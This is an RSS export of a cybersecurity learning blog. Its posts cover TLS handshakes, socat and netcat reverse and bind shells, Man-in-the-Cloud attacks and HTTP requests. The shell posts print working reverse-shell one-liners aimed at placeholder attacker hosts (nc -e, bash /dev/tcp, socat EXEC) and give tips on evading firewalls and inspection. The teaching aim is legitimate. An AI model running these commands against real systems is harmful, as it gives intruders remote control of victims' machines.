<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[CyberExplorer's Blog]]></title><description><![CDATA[From subnets to shell access, CyberExplorer is my evolving lab notebook — documenting the hows, whys, and what-just-happened moments across networking and cyber]]></description><link>https://cyberexplorer.info</link><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 08:36:35 GMT</lastBuildDate><atom:link href="https://cyberexplorer.info/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[How OpenSSL and the TLS Handshake Secure Your Remote Shell]]></title><description><![CDATA[Analogy
Imagine you want to send a secret message to someone:

They send you a box with an open padlock — this padlock is their public certificate.

You write your secret (session key), lock the box with their padlock, and send it back.

Only they ca...]]></description><link>https://cyberexplorer.info/how-openssl-and-the-tls-handshake-secure-your-remote-shell</link><guid isPermaLink="true">https://cyberexplorer.info/how-openssl-and-the-tls-handshake-secure-your-remote-shell</guid><category><![CDATA[TLS]]></category><category><![CDATA[SSL]]></category><category><![CDATA[socat]]></category><category><![CDATA[shell]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Tue, 10 Jun 2025 10:46:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/NwpSBZMhc-M/upload/0be3a1ccbbf9dea83e3918f468c936e8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-analogy">Analogy</h2>
<p>Imagine you want to send a <strong>secret message</strong> to someone:</p>
<ol>
<li><p>They send you a <strong>box with an open padlock</strong> — this padlock is their <strong>public certificate</strong>.</p>
</li>
<li><p>You write your secret (session key), <strong>lock the box</strong> with their padlock, and send it back.</p>
</li>
<li><p>Only <strong>they</strong> can open it — because only they have the <strong>key to that lock</strong> (private key).</p>
</li>
<li><p>Now both of you use that shared secret (session key) to <strong>talk securely</strong>.</p>
</li>
</ol>
<h2 id="heading-how-tls-makes-your-shell-invisible-ft-openssl-socat">How TLS Makes Your Shell Invisible (ft. OpenSSL + Socat)</h2>
<h3 id="heading-what-this-article-covers">What This Article Covers</h3>
<ul>
<li><p>What happens during a TLS/SSL handshake</p>
</li>
<li><p>How <code>.pem</code> files work</p>
</li>
<li><p>How <code>socat</code> uses OpenSSL for encrypted reverse shells</p>
</li>
<li><p>Step-by-step encryption breakdown (no hand-waving!)</p>
</li>
<li><p>Why this matters for red teamers and defenders</p>
</li>
</ul>
<hr />
<h3 id="heading-1-what-is-a-pem-file">1. What Is a <code>.pem</code> File?</h3>
<p>A <code>.pem</code> file is usually just <strong>Base64-encoded text</strong> that contains:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Component</td><td>What it Contains</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Private Key</strong></td><td>Secret RSA key used to decrypt session info</td></tr>
<tr>
<td><strong>Public Certificate</strong></td><td>Contains your <strong>public key</strong> and metadata like Common Name (CN), validity period, etc.</td></tr>
</tbody>
</table>
</div><p>When you run <code>socat</code> with <code>cert=shell.pem</code>, the <strong>certificate is sent</strong> to the client, but the <strong>private key stays local</strong>.</p>
<hr />
<h3 id="heading-2-tlsssl-handshake-behind-the-scenes">2. TLS/SSL Handshake (Behind the Scenes)</h3>
<p>Let’s say you're using this command on the attacker side:</p>
<pre><code class="lang-bash">socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0 -
</code></pre>
<p>And on the target:</p>
<pre><code class="lang-bash">socat OPENSSL:&lt;attacker-ip&gt;:4443 EXEC:/bin/bash
</code></pre>
<p>Here’s what happens:</p>
<h4 id="heading-1-server-sends-public-certificate">1. Server Sends Public Certificate</h4>
<ul>
<li><p>The attacker (server) sends <strong>only the certificate</strong> (public part of <code>shell.pem</code>).</p>
</li>
<li><p>It's sent <strong>unencrypted</strong> — and <strong>that's perfectly fine</strong>.</p>
<ul>
<li>TLS is designed that way. Public certificates aren’t secrets.</li>
</ul>
</li>
</ul>
<h4 id="heading-2-client-encrypts-a-session-key">2. Client Encrypts a Session Key</h4>
<ul>
<li><p>Both parties agree on cipher suite (e.g., AES-256).</p>
</li>
<li><p>The client:</p>
<ul>
<li><p>Generates a <strong>random session key</strong> (symmetric key).</p>
</li>
<li><p><strong>Encrypts this session key using the server’s public key</strong>.</p>
</li>
<li><p>Sends the encrypted session key to the server.</p>
</li>
</ul>
</li>
</ul>
<h4 id="heading-3-server-decrypts-the-session-key">3. Server Decrypts the Session Key</h4>
<ul>
<li><p>The attacker uses their <strong>private key</strong> (stored in <code>shell.pem</code>) to decrypt the session key.</p>
</li>
<li><p>Now both client and server share the same symmetric key.</p>
</li>
</ul>
<h4 id="heading-4-encrypted-shell-communication-begins">4. Encrypted Shell Communication Begins</h4>
<ul>
<li><p>The client runs <code>/bin/bash</code>.</p>
</li>
<li><p>Shell input/output is now encrypted using the session key.</p>
</li>
<li><p>The attacker sees decrypted shell output in real time.</p>
</li>
</ul>
<p>All of this happens in a matter of milliseconds.</p>
<hr />
<h3 id="heading-real-socat-tls-shell-demo">Real Socat TLS Shell Demo</h3>
<p><strong>Attacker:</strong></p>
<pre><code class="lang-bash">socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0 FILE:`tty`,raw,<span class="hljs-built_in">echo</span>=0
</code></pre>
<p><strong>Victim:</strong></p>
<pre><code class="lang-bash">socat OPENSSL:&lt;attacker-ip&gt;:4443 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
</code></pre>
<p>This gives you a <strong>fully encrypted interactive shell</strong>, using OpenSSL underneath.</p>
<hr />
<h3 id="heading-quick-summary-tls-with-socat">Quick Summary: TLS with Socat</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Question</td><td>Answer</td></tr>
</thead>
<tbody>
<tr>
<td>Is the cert sent encrypted?</td><td>No — <strong>certificates are public</strong> and sent in cleartext</td></tr>
<tr>
<td>Is the private key sent?</td><td>Never — it remains on the listener (attacker) side</td></tr>
<tr>
<td>What encrypts the data?</td><td>A <strong>symmetric session key</strong> (like AES) agreed upon via the handshake</td></tr>
<tr>
<td>Who needs the <code>.pem</code> file?</td><td>The <strong>listener</strong> (server side) of the TLS connection</td></tr>
<tr>
<td>Why use TLS at all?</td><td>Encrypts shell traffic → evades detection, bypasses deep packet inspection</td></tr>
</tbody>
</table>
</div><hr />
]]></content:encoded></item><item><title><![CDATA[Reverse Shell vs Bind Shell ft. Socat]]></title><description><![CDATA[Analogy
Imagine two spies trying to communicate. One spy (attacker) waits at a safe house (port). The other spy (target) reaches out to initiate a secret chat - that’s a reverse shell. But if the safe house is locked and inaccessible, the first spy m...]]></description><link>https://cyberexplorer.info/reverse-shell-vs-bind-shell-ft-socat</link><guid isPermaLink="true">https://cyberexplorer.info/reverse-shell-vs-bind-shell-ft-socat</guid><category><![CDATA[socat]]></category><category><![CDATA[Netcat]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Wed, 04 Jun 2025 08:39:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/xbEVM6oJ1Fs/upload/24492b13561c9ee33ca5e3afa08287af.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-analogy">Analogy</h2>
<p>Imagine two spies trying to communicate. One spy (attacker) waits at a safe house (port). The other spy (target) reaches out to initiate a secret chat - that’s a <strong>reverse shell</strong>. But if the safe house is locked and inaccessible, the first spy might knock on the other spy’s door instead - that’s a <strong>bind shell</strong>.</p>
<p>Now let’s understand how this works using <strong>Socat</strong>, the Swiss Army knife of networking tools.</p>
<hr />
<h2 id="heading-what-is-socat">What is Socat?</h2>
<p><strong>Socat (SOcket CAT)</strong> is a powerful command-line utility used to establish bidirectional data transfers between two data channels. Think of it as Netcat's smarter cousin. It can create encrypted connections, handle TTYs better, and forward between many protocols (TCP, UDP, UNIX sockets, etc.).</p>
<hr />
<h2 id="heading-netcat-vs-socat">Netcat vs Socat</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Tool</strong></td><td><strong>Netcat</strong></td><td><strong>Socat</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Purpose</strong></td><td>Simple TCP/UDP data transfer</td><td>Advanced data relay between endpoints</td></tr>
<tr>
<td><strong>Protocol Support</strong></td><td>TCP, UDP</td><td>TCP, UDP, SSL, UNIX sockets, more</td></tr>
<tr>
<td><strong>Encryption</strong></td><td>Not supported</td><td>SSL/TLS supported</td></tr>
<tr>
<td><strong>Flexibility</strong></td><td>Basic one-liners</td><td>Highly customizable setups</td></tr>
<tr>
<td><strong>Ease of Use</strong></td><td>Beginner-friendly</td><td>Steeper learning curve</td></tr>
<tr>
<td><strong>Best For</strong></td><td>Quick tests, basic reverse shells</td><td>Tunneling, relays, secure connections</td></tr>
</tbody>
</table>
</div><h2 id="heading-reverse-shell-with-socat">Reverse Shell with Socat</h2>
<h3 id="heading-target-command-sends-shell-to-attacker">Target Command (sends shell to attacker):</h3>
<pre><code class="lang-bash">socat EXEC:<span class="hljs-string">"bash -li"</span>,pty,stderr,setsid,sigint,sane TCP:&lt;attacker-ip&gt;:&lt;port&gt;
</code></pre>
<h4 id="heading-what-this-does">What this does:</h4>
<ul>
<li><p><code>EXEC:"bash -li"</code>: Launches an interactive login bash shell.</p>
</li>
<li><p><code>pty</code>: Allocates a pseudo-terminal, making the shell behave properly.</p>
</li>
<li><p><code>stderr,setsid,sigint,sane</code>: Ensures proper signal handling and clean I/O.</p>
</li>
<li><p><code>TCP:&lt;attacker-ip&gt;:&lt;port&gt;</code>: Connects to the attacker’s IP and port.</p>
</li>
</ul>
<h3 id="heading-attacker-command-listen-and-forward-to-terminal">Attacker Command (listen and forward to terminal):</h3>
<pre><code class="lang-bash">socat TCP-L:&lt;port&gt; STDIO
</code></pre>
<p>Or better, for a real terminal interface:</p>
<pre><code class="lang-bash">socat TCP-L:&lt;port&gt; FILE:`tty`,raw,<span class="hljs-built_in">echo</span>=0
</code></pre>
<p>Let’s breakdown the above command:</p>
<h4 id="heading-tcp-l4444"><code>TCP-L:4444</code></h4>
<ul>
<li><p>This says: “<strong>Listen</strong> on TCP port 4444 (for example)”</p>
</li>
<li><p>When someone connects, receive data from them</p>
</li>
<li><p>This is your <strong>input stream</strong></p>
</li>
</ul>
<h4 id="heading-filedevptsxrawecho0filedevptsxrawecho0-ie-filetty"><a target="_blank"><code>FILE:/dev/pts/X,raw,echo=0</code></a> (i.e., <code>FILE:`tty` </code>)</h4>
<ul>
<li><p>This is a <strong>file</strong> that represents your terminal (your screen + keyboard)</p>
</li>
<li><p>This is your <strong>output stream</strong></p>
</li>
<li><p>Anything received over TCP will be written into this file (i.e., your terminal)</p>
</li>
<li><p>Anything <strong>you type</strong> goes into this file, and <code>socat</code> sends that to the TCP connection</p>
</li>
</ul>
<p><strong>This is the redirection</strong>:</p>
<ul>
<li><p>Data from the TCP socket ←→ your terminal</p>
</li>
<li><p><code>socat</code> copies data <strong>in both directions</strong></p>
</li>
</ul>
<p><strong>Full I/O Redirection Explained - Flow:</strong></p>
<ul>
<li><p>TCP-L:4444 ← input from reverse shell</p>
</li>
<li><p>FILE:`<code>tty</code>` → sends that input into your terminal screen</p>
</li>
<li><p>Your keystrokes (in that terminal) go into <code>/dev/pts/X</code> and get sent <strong>back</strong> to the reverse shell via the TCP socket</p>
</li>
</ul>
<h2 id="heading-bind-shell-with-socat">Bind Shell with Socat</h2>
<h3 id="heading-target-command-starts-a-listener-with-shell">Target Command (starts a listener with shell):</h3>
<pre><code class="lang-bash">socat TCP-L:&lt;port&gt;,reuseaddr,fork EXEC:<span class="hljs-string">"bash -li"</span>,pty,stderr,setsid,sigint,sane
</code></pre>
<ul>
<li><p><code>TCP-L:&lt;port&gt;</code>: Starts a listener on the target's machine.</p>
</li>
<li><p><code>reuseaddr,fork</code>: Allows reuse of the port and handles multiple connections.</p>
</li>
<li><p><code>EXEC:"bash -li"</code>: Same — starts a bash shell.</p>
</li>
<li><p><code>pty,setsid</code>: Ensures TTY allocation and session control.</p>
</li>
</ul>
<h3 id="heading-attacker-command-connects-to-target">Attacker Command (connects to target):</h3>
<pre><code class="lang-bash">socat STDIO TCP:&lt;target-ip&gt;:&lt;port&gt;
</code></pre>
<hr />
<h2 id="heading-choosing-the-right-port">Choosing the Right Port</h2>
<ul>
<li><p><strong>Reverse Shell</strong>: Choose <strong>commonly allowed outbound ports</strong> like <code>443</code>, <code>80</code>, or <code>53</code> because most firewalls allow outgoing traffic on these.</p>
</li>
<li><p><strong>Bind Shell</strong>: Choose ports <strong>less likely to be firewalled on the inbound side</strong>, but this is trickier. If a firewall blocks incoming traffic to unknown ports, bind shells won’t work well.</p>
</li>
</ul>
<p><strong>Reverse shells</strong> are more firewall-friendly in real-world scenarios.</p>
<hr />
<h2 id="heading-tldr">TL;DR</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Feature</strong></td><td><strong>Reverse Shell (Socat)</strong></td><td><strong>Bind Shell (Socat)</strong></td></tr>
</thead>
<tbody>
<tr>
<td>Initiated by</td><td>Target</td><td>Attacker</td></tr>
<tr>
<td>Firewall Bypass</td><td>Easier (uses outbound connection)</td><td>Harder (needs open inbound port on target)</td></tr>
<tr>
<td>Stability</td><td>Very stable with TTY, signals, etc.</td><td>Stable with <code>fork</code>, <code>pty</code>, <code>setsid</code> options</td></tr>
</tbody>
</table>
</div><p><strong>Serious Note:</strong> Why did the hacker break up with Netcat?<br />Because Socat had better communication skills and <em>actually listened</em> on both ends. 😎</p>
]]></content:encoded></item><item><title><![CDATA[Reverse Shell vs Bind Shell ft. Netcat]]></title><description><![CDATA[Analogy:
Imagine you're locked outside your house (the attacker's machine), and the only way in is by having someone inside (the target machine) call you and leave the door open and that’s a reverse shell.
But what if you could just tell the house to...]]></description><link>https://cyberexplorer.info/reverse-shell-vs-bind-shell-ft-netcat</link><guid isPermaLink="true">https://cyberexplorer.info/reverse-shell-vs-bind-shell-ft-netcat</guid><category><![CDATA[shells]]></category><category><![CDATA[Netcat]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Tue, 03 Jun 2025 09:37:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/p0j-mE6mGo4/upload/5c9d77ead82bdf554e4899146241543e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h2 id="heading-analogy">Analogy:</h2>
<p>Imagine you're locked outside your house (the attacker's machine), and the only way in is by having someone inside (the target machine) call you and leave the door open and that’s a <strong>reverse shell</strong>.</p>
<p>But what if you could just tell the house to open its door and wait for you to enter? That’s a <strong>bind shell</strong>.</p>
<hr />
<h2 id="heading-whats-the-goal">What’s the Goal?</h2>
<p>The attacker wants <strong>remote command execution</strong> to run commands on the target system as if they were sitting at its terminal. Two common ways to do this:</p>
<ul>
<li><p><strong>Reverse Shell</strong>: The target connects <em>back</em> to the attacker.</p>
</li>
<li><p><strong>Bind Shell</strong>: The target listens on a port; the attacker connects <em>in</em>.</p>
</li>
</ul>
<hr />
<h2 id="heading-what-is-netcat">What is Netcat?</h2>
<p>netcat (or nc) is a <strong>Swiss army knife for TCP/IP</strong> it can:</p>
<ul>
<li><p>Connect to ports</p>
</li>
<li><p>Listen on ports</p>
</li>
<li><p>Transfer files</p>
</li>
<li><p>Act as a simple chat client</p>
</li>
<li><p>Create shells!</p>
</li>
</ul>
<hr />
<h2 id="heading-reverse-shell">Reverse Shell</h2>
<h3 id="heading-setup">Setup:</h3>
<ul>
<li><p>The attacker <strong>sets up a listener</strong> on a specific port.</p>
</li>
<li><p>The target <strong>initiates a connection</strong> to the attacker and sends over a shell.</p>
</li>
</ul>
<h3 id="heading-on-attacker-machine">On Attacker Machine:</h3>
<pre><code class="lang-bash">nc -lvnp 4444
</code></pre>
<p><strong>What it means:</strong></p>
<ul>
<li><p><em>-l</em> : listen mode</p>
</li>
<li><p><em>-v</em> : verbose (see what's happening)</p>
</li>
<li><p><em>-n</em> : don’t resolve DNS (makes the command run faster)</p>
</li>
<li><p><em>-p 4444</em> : listen on port 4444</p>
<p>  When the victim runs the command (below), you get their shell in your terminal!</p>
</li>
</ul>
<h3 id="heading-on-target-machine">On Target Machine:</h3>
<pre><code class="lang-bash">nc &lt;attacker_ip&gt; 4444 -e /bin/bash
</code></pre>
<h3 id="heading-what-it-does"><strong>What it does:</strong></h3>
<ul>
<li><p><em>nc</em>: runs Netcat</p>
</li>
<li><p><em>&lt;attacker_ip&gt;</em>: IP of the attacker machine</p>
</li>
<li><p><em>4444</em>: port to connect to</p>
</li>
<li><p><em>-e /bin/bash</em>: executes <em>/bin/bash</em> and sends I/O over the connection🔗 Bind Shell</p>
</li>
</ul>
<p><strong>Note:</strong> In many modern systems, <code>netcat</code> is compiled without the <code>-e</code> option for security reasons.</p>
<p><strong>Alternative (On Target):</strong></p>
<pre><code class="lang-bash">bash -i &gt;&amp; /dev/tcp/&lt;attacker_ip&gt;/4444 0&gt;&amp;1
</code></pre>
<p><strong>Breaking Down the above command:</strong></p>
<ul>
<li><p><code>bash -i</code>: starts an interactive shell</p>
</li>
<li><p><code>&gt;&amp; /dev/tcp/...</code>: sends stdout and stderr to the TCP connection</p>
</li>
<li><p><code>0&gt;&amp;1</code>: connects stdin to stdout (bidirectional shell).</p>
</li>
</ul>
<p>One thing to keep in mind is that the <code>bash -i</code> is executed after all the file descriptors are set.</p>
<hr />
<h2 id="heading-bind-shell">Bind Shell</h2>
<h3 id="heading-setup-1">Setup:</h3>
<ul>
<li><p>The target <strong>sets up a listener</strong> on a specific port.</p>
</li>
<li><p>The attacker <strong>initiates a connection</strong> to the target and receives a shell.</p>
</li>
</ul>
<h3 id="heading-on-attacker-machine-1">On Attacker Machine:</h3>
<pre><code class="lang-bash">nc &lt;victim_ip&gt; 4444
</code></pre>
<p>Attacker connects to the victim’s IP in the specified port.</p>
<h3 id="heading-on-target-machine-1">On Target Machine:</h3>
<pre><code class="lang-bash">nc -lvnp 4444 -e /bin/bash
</code></pre>
<p><strong>Target is saying</strong>:<br />"I'm listening on port 4444. If someone connects, they get my Bash shell."</p>
<p><strong>Note:</strong> Use the alternative way if the <code>-e</code> option is blocked.</p>
<hr />
<h2 id="heading-defense-tips">Defense Tips</h2>
<ul>
<li><p>Monitor outgoing connections to strange IPs.</p>
</li>
<li><p>Use firewalls to block unauthorized traffic (both inbound and outbound).</p>
</li>
<li><p>Disable <code>nc</code>, <code>bash -e</code>, or <code>socat</code> if not needed.</p>
</li>
<li><p>Use EDR tools to detect suspicious shell behavior.</p>
</li>
</ul>
<hr />
<h2 id="heading-firewall-considerations-reverse-vs-bind-shell">Firewall Considerations: Reverse vs Bind Shell</h2>
<p>Let’s talk firewalls - the digital bouncers of the network world.</p>
<p>When you're setting up a <strong>reverse shell</strong> or a <strong>bind shell</strong>, firewall behavior plays a huge role in whether your connection will succeed or get silently dropped.</p>
<h3 id="heading-reverse-shell-1">Reverse Shell</h3>
<p>You (the attacker) <strong>listen</strong>, and the <strong>victim connects out</strong> to you.</p>
<ul>
<li><p>The victim machine is <strong>initiating an outbound connection</strong> and outbound traffic is usually <strong>allowed</strong> by default on most firewalls.</p>
</li>
<li><p>So, you should pick <strong>commonly allowed ports</strong> like:</p>
<ul>
<li><p><code>80</code> (HTTP)</p>
</li>
<li><p><code>443</code> (HTTPS)</p>
</li>
<li><p><code>53</code> (DNS)</p>
</li>
</ul>
</li>
</ul>
<p>These ports are less suspicious and more likely to sail past restrictive egress filters.</p>
<h5 id="heading-why-it-works"><strong>Why it works:</strong></h5>
<ul>
<li><p>Outbound connections are needed for daily stuff (browsing, updates), so they’re rarely blocked.</p>
</li>
<li><p>Firewalls usually don’t mind if a user connects <strong>out to the internet</strong> but hate when something tries to <strong>get in</strong>.</p>
</li>
</ul>
<h3 id="heading-bind-shell-1">Bind Shell</h3>
<p>The victim opens a port and <strong>waits</strong> — and <strong>you connect in</strong>.</p>
<p>Sounds simple, but...</p>
<ul>
<li><p>Most systems <strong>block incoming traffic</strong> unless you explicitly allow it.</p>
</li>
<li><p>Victims behind <strong>NAT, routers, or corporate firewalls</strong>? Yeah! good luck reaching them directly.</p>
</li>
<li><p>You could try to be sneaky by binding to <code>80</code> or <code>443</code>, but:</p>
<ul>
<li><p>You might clash with existing services (like web servers).</p>
</li>
<li><p>Ingress filtering still might kill the connection.</p>
</li>
</ul>
</li>
</ul>
<h5 id="heading-why-it-usually-fails">Why it usually fails:</h5>
<ul>
<li><p>Inbound traffic is seen as more dangerous.</p>
</li>
<li><p>Unless the firewall/NAT is configured to forward your connection, it gets dropped.</p>
</li>
</ul>
<hr />
<h3 id="heading-real-world-tip">Real-World Tip:</h3>
<p>When in doubt — <strong>go reverse</strong>. It’s <strong>more reliable</strong>, <strong>more stealthy</strong>, and plays nice with firewalls.</p>
<p>In next article we will use <strong>Socat</strong> (Superior to netcat) for the same application. Click → <a target="_blank" href="https://cyberexplorer.info/reverse-shell-vs-bind-shell-ft-socat">[SOCAT SUPREMACY]</a></p>
]]></content:encoded></item><item><title><![CDATA[Man-in-the-Cloud (MITC) Attack - In Short]]></title><description><![CDATA[Ever wondered if your cloud drive could turn against you? No, not like Terminator — but in the sneaky, data-stealing way. That’s what a Man-in-the-Cloud (MITC) attack does: it hijacks cloud sync tools like Dropbox or Google Drive to silently steal yo...]]></description><link>https://cyberexplorer.info/man-in-the-cloud-mitc-attack-in-short</link><guid isPermaLink="true">https://cyberexplorer.info/man-in-the-cloud-mitc-attack-in-short</guid><category><![CDATA[cloud Attacks]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Thu, 29 May 2025 18:52:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Vp3oWLsPOss/upload/35443dc99ca8833354b488f7043b7b64.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ever wondered if your cloud drive could turn against you? No, not like <em>Terminator</em> — but in the sneaky, data-stealing way. That’s what a <strong>Man-in-the-Cloud (MITC)</strong> attack does: it hijacks cloud sync tools like Dropbox or Google Drive to silently steal your data or even control your machine.</p>
<h3 id="heading-analogy-twin-keys-to-a-shared-locker">Analogy: Twin Keys to a Shared Locker</h3>
<p>Imagine you and your friend share a locker. You both have a key (token). One day, a stranger steals your key, uses their copy to sync the locker with their own, takes whatever you store inside, then secretly puts your key back.You never notice anything wrong but they’ve already read your diary, taken your snacks, and copied your cheat sheet. That’s exactly how MITC works.</p>
<h3 id="heading-how-mitc-attacks-work">How MITC Attacks Work</h3>
<h4 id="heading-1-initial-infection">1. <strong>Initial Infection</strong></h4>
<ul>
<li><p>You’re tricked into downloading malware - maybe a fake software update or a malicious attachment.</p>
</li>
<li><p>It installs silently and begins its work.</p>
</li>
</ul>
<h4 id="heading-2-token-manipulation">2. <strong>Token Manipulation</strong></h4>
<ul>
<li><p>Cloud apps use <strong>synchronization tokens</strong> stored on your device to keep your files in sync.</p>
</li>
<li><p>The malware <strong>steals your token</strong> and swaps it with the <strong>attacker’s token</strong>.</p>
</li>
<li><p>Your device is now syncing with <strong><em>their</em></strong> cloud storage. Yikes.</p>
</li>
</ul>
<h4 id="heading-3-data-theft-amp-remote-control">3. <strong>Data Theft &amp; Remote Control</strong></h4>
<ul>
<li><p>The attacker now:</p>
<ul>
<li><p>Accesses all your synced files in real time.</p>
</li>
<li><p>Hides malicious commands inside files you automatically sync.</p>
</li>
<li><p>Uses the sync process to <em>exfiltrate</em> data without tripping alerts.</p>
</li>
</ul>
</li>
</ul>
<h4 id="heading-4-covering-tracks">4. <strong>Covering Tracks</strong></h4>
<ul>
<li><p>After the dirty work is done, the malware <strong>restores your original token</strong>.</p>
</li>
<li><p>Sync resumes normally and you don’t notice a thing.</p>
</li>
<li><p>Meanwhile, the attacker walks away with your data or leaves a backdoor behind.</p>
</li>
</ul>
<h3 id="heading-real-world-example">Real-World Example</h3>
<ol>
<li><p>You open a malicious PDF labeled “invoice.pdf.”</p>
</li>
<li><p>Malware silently installs and swaps your OneDrive sync token with the attacker’s.</p>
</li>
<li><p>Your documents start syncing to their account - live.</p>
</li>
<li><p>They steal your data, restore your token, and vanish like a ghost.</p>
</li>
</ol>
<hr />
<h3 id="heading-defending-against-mitc-attacks">Defending Against MITC Attacks</h3>
<ul>
<li><p><strong>Enable MFA</strong>: Prevent token abuse by requiring second-factor logins.</p>
</li>
<li><p><strong>User Awareness</strong>: Don’t trust sketchy downloads or fake updates.</p>
</li>
<li><p><strong>Endpoint Detection Tools</strong>: Spot token manipulation or strange sync behaviors.</p>
</li>
<li><p><strong>Monitor Cloud Logs</strong>: Watch for syncs from new devices or locations.</p>
</li>
<li><p><strong>Use Cloud Security Posture Management (CSPM)</strong>: Set alerts for anomalies and access changes.</p>
</li>
</ul>
<hr />
<h3 id="heading-why-mitc-is-so-dangerous">Why MITC Is So Dangerous</h3>
<ul>
<li><p><strong>Blends in</strong>: Uses legit services, so it looks normal.</p>
</li>
<li><p><strong>No traffic hijacking needed</strong>: Completely sidesteps network monitoring tools.</p>
</li>
<li><p><strong>Token restored</strong>: Makes forensic analysis harder.</p>
</li>
</ul>
<p>In short, it’s invisible, persistent, and very effective.</p>
]]></content:encoded></item><item><title><![CDATA[What Exactly Is Sent When You Visit a Website?]]></title><description><![CDATA[Analogy:
Imagine you're ordering food online. You fill out a form with your name, address, and order. That form gets sent to the restaurant. The restaurant cooks your food and sends it back with a receipt. In web terms, you're the browser (client), t...]]></description><link>https://cyberexplorer.info/what-exactly-is-sent-when-you-visit-a-website</link><guid isPermaLink="true">https://cyberexplorer.info/what-exactly-is-sent-when-you-visit-a-website</guid><category><![CDATA[http]]></category><category><![CDATA[https]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Thu, 29 May 2025 13:57:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Q59HmzK38eQ/upload/6c3bf533b7b7f76f11dd4d02f9c844df.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-analogy">Analogy:</h2>
<p>Imagine you're ordering food online. You fill out a form with your name, address, and order. That form gets sent to the restaurant. The restaurant cooks your food and sends it back with a receipt. In web terms, you're the browser (client), the restaurant is the server, and the form is your HTTP request. Let's break down what that “form” actually contains.</p>
<h3 id="heading-step-1-you-make-a-request">Step 1: You Make a Request</h3>
<p>Whenever you visit a webpage or interact with a web app, your browser initiates an <strong>HTTP request</strong> to the server.</p>
<h4 id="heading-whats-included-in-the-request">What’s included in the request:</h4>
<ol>
<li><p><strong>Request Line</strong></p>
<ul>
<li><p>Specifies the <strong>HTTP method</strong> (e.g., GET, POST), the <strong>path</strong> (e.g., <code>/login</code>), and the HTTP version.</p>
</li>
<li><p>Example:<br />  <code>GET /dashboard HTTP/1.1</code></p>
</li>
</ul>
</li>
<li><p><strong>HTTP Headers</strong></p>
<ul>
<li><p>Metadata that describes the request and the client making it:</p>
<ul>
<li><p><code>Host</code>: Target domain (example.com)</p>
</li>
<li><p><code>User-Agent</code>: Info about the browser or client</p>
</li>
<li><p><code>Accept</code>: Data formats it can process (e.g., application/json)</p>
</li>
<li><p><code>Authorization</code>: API tokens, Bearer tokens, Basic Auth, etc.</p>
</li>
<li><p><code>Referer</code>, <code>Origin</code>, <code>Accept-Language</code>, and others</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Cookies</strong> (if applicable)</p>
<ul>
<li><p>The browser includes any <strong>cookies previously set</strong> by the server.</p>
</li>
<li><p>Example:<br />  <code>Cookie: session_id=abc123; theme=dark</code></p>
</li>
</ul>
</li>
<li><p><strong>Query Parameters</strong></p>
<ul>
<li><p>Key-value data sent in the <strong>URL</strong> itself.</p>
</li>
<li><p>Example:<br />  <code>/search?q=networking&amp;sort=latest</code></p>
</li>
</ul>
</li>
<li><p><strong>Request Body</strong> (mainly in POST, PUT, PATCH)</p>
<ul>
<li><p>Sent when data is being submitted (like login credentials or form data).</p>
</li>
<li><p>Often formatted in JSON or <code>x-www-form-urlencoded</code>.</p>
</li>
<li><p>Example:</p>
<pre><code class="lang-json">  {
    <span class="hljs-attr">"username"</span>: <span class="hljs-string">"admin"</span>,
    <span class="hljs-attr">"password"</span>: <span class="hljs-string">"hunter2"</span>
  }
</code></pre>
</li>
</ul>
</li>
<li><p><strong>IP Address &amp; Port</strong></p>
<ul>
<li>Although not in the request body, the server sees your <strong>public IP</strong> and the <strong>source port</strong> as part of the underlying TCP connection.</li>
</ul>
</li>
</ol>
<hr />
<h3 id="heading-how-is-it-sent">How Is It Sent?</h3>
<p>The request is sent over:</p>
<ul>
<li><p><strong>HTTP</strong>: Plain text (not secure)</p>
</li>
<li><p><strong>HTTPS</strong>: Encrypted via TLS/SSL (secure)</p>
</li>
</ul>
<p>The browser performs a <strong>DNS lookup</strong>, opens a <strong>TCP connection</strong> (or reuses one), performs a <strong>TLS handshake</strong> (if HTTPS), and then sends the full HTTP request over this connection.</p>
<hr />
<h3 id="heading-step-2-server-processes-the-request">Step 2: Server Processes the Request</h3>
<ul>
<li><p>The server receives the request and uses:</p>
<ul>
<li><p>The <strong>path</strong> to route to the correct resource</p>
</li>
<li><p>The <strong>headers and body</strong> to understand what you want</p>
</li>
<li><p>The <strong>cookies or tokens</strong> to identify you (session, auth)</p>
</li>
</ul>
</li>
<li><p>The server runs any business logic (e.g., checking credentials, fetching data, writing to a database)</p>
</li>
</ul>
<hr />
